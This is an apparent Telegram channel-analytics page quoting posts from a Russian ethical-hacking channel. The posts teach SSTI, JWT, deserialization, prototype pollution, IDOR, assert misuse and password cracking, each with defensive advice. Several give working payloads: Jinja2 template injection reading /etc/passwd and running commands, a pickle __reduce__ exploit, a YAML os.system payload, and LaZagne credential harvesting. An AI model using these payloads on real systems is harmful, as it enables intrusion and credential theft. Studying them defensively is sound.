CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
نمایش بیشتر📈 تحلیل کانال تلگرام CodeGuard: CyberSec Edition
کانال CodeGuard: CyberSec Edition بازیگری فعال است. در حال حاضر جامعه شامل 12 526 مشترک است و جایگاه 10 134 را در دسته فناوری و برنامهها و رتبه 52 701 را در منطقه روسيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 12 526 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 20 ژوئن, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 517 و در ۲۴ ساعت گذشته برابر 50 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 12.15% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 6.95% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 1 522 بازدید دریافت میکند. در اولین روز معمولاً 871 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 4 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند codeguard, pysec, docker, grep, контейнер تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 21 ژوئن, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
Если видите 49 в ответе - шаблонизатор исполняет код.
2️⃣ Идентификация движка
{{7*'7'}} → 7777777 = Jinja2/Twig
{{7*'7'}} → 49 = Twig
${7*7} → 49 = Mako/FreeMarker
#{7*7} → 49 = Ruby ERB
Автоматизация через tplmap:
git clone https://github.com/epinna/tplmap
python tplmap.py -u "http://target.com/?name=test"
3️⃣ Эксплуатация Jinja2 (Flask)
Чтение файлов:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
RCE через subprocess:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
Поиск нужного класса:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }}: {{ c }}
{% endif %}
{% endfor %}
4️⃣ Обход WAF и фильтров
Без точек и скобок:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
Конкатенация строк:
{{ ''['__cla'+'ss__'] }}
Hex-кодирование:
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
5️⃣ Защита
🔴Никогда не передавайте пользовательский ввод в render_template_string() 🔴Используйте sandbox-режим (Jinja2 SandboxedEnvironment) 🔴Экранируйте всё через | e фильтр 🔴CSP и мониторинг аномальных запросов😈 CodeGuard: PySec Edition | Чат
pip install pyjwt
python3 -c "import jwt; print(jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', algorithms=['HS256']))"
Проверьте: алгоритм (alg), payload (claims вроде exp, iss) и подпись.
2️⃣ Классические уязвимости
🔵None-alg атака: Меняйте "alg" на "none" и удалите подпись. 🔵Key confusion: Если RS256, подмените публичный ключ на секретный (HS256).Инструмент: jwt_tool — автоматизирует тесты:
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9... -T
3️⃣ Практические команды для пентеста
Генерация слабого токена (тест):
import jwt
token = jwt.encode({'user': 'admin'}, 'weakkey', algorithm='HS256')
print(token)
Проверка слабых ключей (wordlist):
jwt_tool.py YOUR_TOKEN.txt -C -d rockyou.txt
Массовый аудит логов/токенов:
grep -r "eyJ" /var/log/app/ | jwt_tool.py -b -vv
4️⃣ Защита и лучшие практики
🔴Всегда проверяйте "alg" на сервере (только whitelisted). 🔴Используйте сильные ключи (>256 бит) и ротацию. 🔴Добавьте "kid" с валидацией и JWE для шифрования. 🔴Мониторьте: ELK или Splunk для аномальных JWT.Освойте эти техники и ваши аудиты аутентификации станут на голову выше. 😈 CodeGuard: PySec Edition | Чат
🔵 Видит запуск процессов в реальном времени 🔵 Показывает команды, аргументы, пользователей 🔵 Отлавливает cron, systemd timers, scripts 🔵 Работает без root и без ptrace 🔵 Не требует установки и зависимостей1️⃣ Запуск
chmod +x pspy64
./pspy64
2️⃣ Пример вывода
2025/01/03 12:01:00 CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh
2025/01/03 12:01:00 CMD: UID=0 PID=1235 | tar czf /tmp/backup.tar.gz /home/*
Вы сразу видите:
🟢пользователь UID=0 🟢путь к скрипту 🟢аргументы 🟢момент запуска3️⃣ Почему это опасно
🔴 cron-скрипты часто пишутся небезопасно 🔴 пути без абсолютных бинарей 🔴 writable каталоги 🔴 утечки паролей через аргументы команд4️⃣ Как это работает изнутри
🔵 Чтение /proc в цикле 🔵 Отслеживание fork/exec событий 🔵 Сравнение snapshot-ов процессов 🔵 Никакого ptrace и CAP_SYS_PTRACE5️⃣ Где применяется:
🟢 Linux privilege escalation 🟢 Red Team и post-exploitation 🟢 CTF (medium-hard) 🟢 Аудит cron и сервисных скриптов😈 CodeGuard: PySec Edition | Чат
🔴 Читать и писать память другого процесса 🔴 Останавливать выполнение на каждом syscall 🔴 Менять регистры CPU на лету 🔴 Инжектить код и управлять потоком выполненияМинимальный пример (C):
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", NULL);
Перехват syscalls (идея):
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);
Где применяется:
🟢 gdb и отладчики 🟢 strace, ltrace 🟢 Античит и антидебаг 🟢 Reverse engineering и malware analysis👩💻 CodeGuard: Linux | Чат
🔵 Браузеры (логины, пароли, cookies, иногда токены) 🔵 Wi-Fi Пароли от сохранённых беспроводных сетей 🔵 Почтовые клиенты 🔵 Базы данных и сервисы 🔵 Системные и сторонние приложенияПредставьте, что вы специалист по безопасности и проверяете, какие секреты может получить атакующий после входа в систему пользователя. 1️⃣ Запуск базового сканирования В Linux / Windows (Python-версия):
python3 laZagne.py all
LaZagne автоматически:
🔵определит ОС 🔵просканирует все поддерживаемые модули 🔵выведет найденные пароли2️⃣ Сканирование конкретного модуля Например, только браузеры:
python3 laZagne.py browsers
Или только Wi-Fi:
python3 laZagne.py wifi
3️⃣ Пример результата
[+] Chrome passwords found !!!
URL: https://mail.example.com
Login: admin@example.com
Password: Summer2023!
4️⃣ Как это работает изнутри
🔵 DPAPI (Windows) LaZagne использует системные API для расшифровки данных, которые ОС считает «доверенными». 🔵 Чтение конфигов Многие программы хранят пароли в XML / JSON / INI файлах. 🔵 Memory & credential scraping Частично извлекает данные из памяти приложений.5️⃣ Профилактика: как защититься?
🔴 Используйте менеджеры паролей с мастер-паролем (KeePassXC, Bitwarden) 🔴 Отключайте сохранение паролей в браузерах на рабочих машинах 🔴 Используйте раздельные учётные записи (пользователь ≠ администратор) 🔴 Включайте полное шифрование диска (LUKS / BitLocker) 🔴 Для корпоративной среды - Credential Guard и AppLocker😈 CodeGuard: PySec Edition | Чат
🔴 Java (Serializable) 🔴 PHP (unserialize) 🔴 Python (pickle) 🔴 .NET (BinaryFormatter)Типичный антипример:
pickle.loads(user_input)
3️⃣ Чем это заканчивается
🔴 удалённое выполнение кода 🔴 чтение файлов 🔴 SSRF / SQLi через chain 🔴 полный захват приложения4️⃣ Почему это трудно заметить
👍 выглядит как «обычные данные» 👍 часто спрятано в cookies / cache 👍 срабатывает только с gadget-chain5️⃣ Как защищаться
✔️ не десериализуй непроверенные данные ✔️ используй JSON / protobuf ✔️ запрети магические методы ✔️ sandbox + least privilegeПолезно? ❤️ — Да 👍 — Знал 😈 CodeGuard: PySec Edition | Чат
Loading … ██████████████] 99%Роскомнадзору дали карт-бланш на блокировки, а «белые списки» сайтов тестируют уже в десятках регионов. И гайки будут закручиваться только сильнее. Чтобы в одночасье не лишиться доступа к свободному Интернету, просто сохрани Only Hack. Тут профессиональный хакер делится фишками, с которыми доступ к глобальной сети у тебя будет даже в случае ядерного апокалипсиса. Не жди момента «Х». Перестрахуйся подпиской.
/api/user/123 → /api/user/124И внезапно смотришь не свои данные. 2️⃣ Откуда берётся
🔴 нет проверки прав 🔴 логика «фронт не даст» 🔴 UUID ≠ защита 🔴 прямые ссылки на объекты3️⃣ Чем это кончается
🔴 утечка персональных данных 🔴 доступ к чужим заказам / файлам 🔴 полный обход бизнес-логики4️⃣ Как закрываться
✔️ проверяй права на каждый объект ✔️ связывай object с user ✔️ deny by default ✔️ тестируй негативные кейсыПолезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
Object.prototype.
Если туда записать:
proto.isAdmin = true
Все объекты внезапно:
user.isAdmin === true
2️⃣ Откуда это берётся
🔴 небезопасные merge’ы 🔴 Object.assign(user, input) 🔴 lodash.merge со входными данными3️⃣ Чем это кончается
🔴 auth bypass 🔴 RCE через template engines 🔴 логика приложения «поехала»4️⃣ Как закрываться
✔️ deep clone без prototype ✔️ Object.create(null) ✔️ обновляй lodash ✔️ валидируй входные данныеБыло полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
sudo rm -rf /* всему. Но мы здесь, живые, всё ещё в строю.
Чему научил 2025:
🔵 Legacy код в голове можно рефакторить 🔵 Иногда лучший фикс — это sleep(86400) и свежий взгляд 🔵 Бэкапы нужны везде — в проектах, отношениях, головеНа 2026:
while alive:
learn_something_new()
build_cool_stuff()
touch_grass() # важно
sleep(enough=True) # критично
Серьёзно: спасибо, что читаете. Канал для вас - для тех, кто в 3 ночи дебажит эксплойт и кайфует от красивых ROP-цепочек. Мы странные люди. И это круто.
В 2026 - больше контента, глубже разборы. Идеи кидайте в чат.
$ checksec ./2026 Bugs: Inevitable Opportunities: Enabled Your potential: No limitsHappy New Year, хакеры. 🥂 🔥 CodeGuard | Чат
assert для проверки прав доступа или валидации? В продакшене эти проверки могут просто не существовать.
Проблема:
def delete_user(user_id, current_user):
assert current_user.is_admin, "Access denied"
db.delete(user_id)
Выглядит безопасно. Но нет.
Что происходит:
# Разработка — assert работает python app.py # Продакшен с оптимизацией — assert удаляется полностью python -O app.pyФлаг
-O (optimize) удаляет все assert-ы из байткода. Gunicorn, uWSGI, некоторые Docker-образы включают его по умолчанию.
Проверь прямо сейчас:
import sys
print(sys.flags.optimize) # 0 = норм, 1+ = assert не работает
Где это опасно:
🔵 Проверки авторизации 🔵 Валидация входных данных 🔵 Проверки бизнес-логики 🔵 Всё, что влияет на безопасностьПравильно:
def delete_user(user_id, current_user):
if not current_user.is_admin:
raise PermissionError("Access denied")
db.delete(user_id)
assert можно использовать для:
🔵 Отладки во время разработки 🔵 Документирования инвариантов 🔵 ТестовНайти проблемные места:
grep -rn "assert.*is_admin\|assert.*permission\|assert.*auth" --include="*.py"
assert для дебага, не для безопасности. Если проверка важна - используй if + raise.
😈 CodeGuard: PySec Edition | Чатyaml.load() делает то же самое - и это почему-то игнорируют.
Уязвимый код:
import yaml
data = yaml.load(user_input) # RCE готов
Payload:
!!python/object/apply:os.system ["whoami"]Одна строка - и у атакующего shell. Где встречается:
🔵 Парсинг конфигов из внешних источников 🔵 API, принимающие YAML 🔵 CI/CD пайплайны с пользовательскими .yml 🔵 Kubernetes-манифесты от пользователейПравильно:
# Всегда используй safe_load
data = yaml.safe_load(user_input)
# Или явно укажи Loader
data = yaml.load(user_input, Loader=yaml.SafeLoader)
safe_load() не поддерживает конструкцию !!python/object — RCE невозможен.
Проверить проект:
# Найти все небезопасные вызовы
grep -r "yaml.load(" --include="*.py" | grep -v "safe_load\|SafeLoader"
Мораль: если видишь yaml.load() без SafeLoader - это дыра.
😈 CodeGuard: PySec Edition | Чатpickle — стандартный способ сериализации объектов в Python. И он же — одна из самых опасных дыр, о которой многие забывают.
В чём проблема?
pickle.loads() при десериализации выполняет произвольный код. Это не баг — это фича. И злоумышленники это обожают.
Как выглядит атака:
import pickle
import base64
class Exploit:
def __reduce__(self):
import os
return (os.system, ('whoami',))
# Создаём вредоносный payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
Теперь любой сервер, который сделает pickle.loads() на этих данных — выполнит команду. Reverse shell, удаление файлов, что угодно.
Где это встречается в реальности:
🔴 Redis + Python — если храните сериализованные объекты 🔴 Flask sessions — при неправильной настройке 🔴 ML-модели — .pkl файлы из интернета (да, те самые с Hugging Face и Kaggle) 🔴 Распределённые системы — Celery, межсервисное общение 🔴 Кэширование — самописные решенияПроверка на уязвимость: Инструмент
fickling анализирует pickle-файлы на вредоносность:
pip install fickling
fickling --check-safety model.pkl
Как защититься:
🔴 Никогда не делайте pickle.loads() на данных из недоверенных источников 🔴 Используйте безопасные альтернативы: json, msgpack, protobuf 🔴 Для ML-моделей — формат safetensors вместо pickle 🔴 Если pickle неизбежен — подписывайте данные (HMAC) и проверяйте подпись до десериализации
import hmac
import hashlib
def safe_pickle_loads(data: bytes, key: bytes):
signature, payload = data[:32], data[32:]
expected = hmac.new(key, payload, hashlib.sha256).digest()
if not hmac.compare_digest(signature, expected):
raise ValueError("Invalid signature")
return pickle.loads(payload)
Мораль: pickle — это eval() в овечьей шкуре. Относитесь к нему соответственно.
😈 CodeGuard: PySec Edition | Чат🔵Linux /etc/shadow: Современные системы используют sha512crypt ($6$), sha256crypt ($5$) или bcrypt ($2b$). Важно: это не "чистый" SHA-512, а специальная медленная функция (KDF), созданная для защиты от подбора. 🔵Windows: Хеши NTLM (из SAM-файлов). 🔵Веб-приложения и базы данных: MD5, SHA-1, SHA-256 (часто без соли, что упрощает подбор). Архивы и документы: Пароли от ZIP, RAR, PDF и файлов Microsoft Office.Базовый сценарий: Аудит паролей в Linux Представьте, что вы системный администратор и хотите проверить, нет ли в вашей системе учетных записей со слабыми паролями. 1️⃣ Подготовка хешей John не работает с файлом /etc/shadow напрямую. Нужно объединить его с /etc/passwd с помощью утилиты unshadow.
# Объединяем файлы, чтобы John правильно идентифицировал пользователей
sudo unshadow /etc/passwd /etc/shadow > users.hash
2️⃣ Запуск атаки по словарю
Самый быстрый метод — проверить пароли по известным словарям слабых паролей (например, rockyou.txt).
# Указываем формат хеша для точности и скорости (для Ubuntu/Debian это обычно sha512crypt) john --format=sha512crypt users.hash --wordlist=rockyou.txtJohn начнет перебор. Если пароль найден в словаре, он будет сохранен. 3️⃣ Просмотр результатов Чтобы увидеть, какие пароли были найдены, используйте команду: john --show users.hash Результат (пример):
2 password hashes cracked, 15 leftВывод: John обнаружил в системе две учетные записи со слабыми паролями, известными из публичных словарей. Это критическая уязвимость. Как это работает изнутри:
🔵Атака по словарю (Dictionary): Быстрая проверка пароля против заранее подготовленного списка (например, password123, qwerty). 🔵Перебор (Brute-force): Методичный перебор всех возможных комбинаций символов. Мощный, но очень медленный. 🔵Гибридная атака (Hybrid): Комбинация словаря и перебора. К словам из списка добавляются цифры или символы (например, password123).Профилактика: Как защититься?
🔴Используйте длинные и сложные пароли. Идеально — 3-4 случайных слова через дефис (кофе-дождь-радуга-42). 🔴Применяйте менеджеры паролей (KeePass, Bitwarden). Они генерируют и хранят уникальные сложные пароли для каждого сервиса. 🔴 Включайте двухфакторную аутентификацию (2FA) везде, где это возможно. 🔴Для серверов: Настройте политику блокировки учетных записей после нескольких неудачных попыток входа и используйте аутентификацию по SSH-ключам вместо паролей.😈 CodeGuard: PySec Edition | Чат
اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
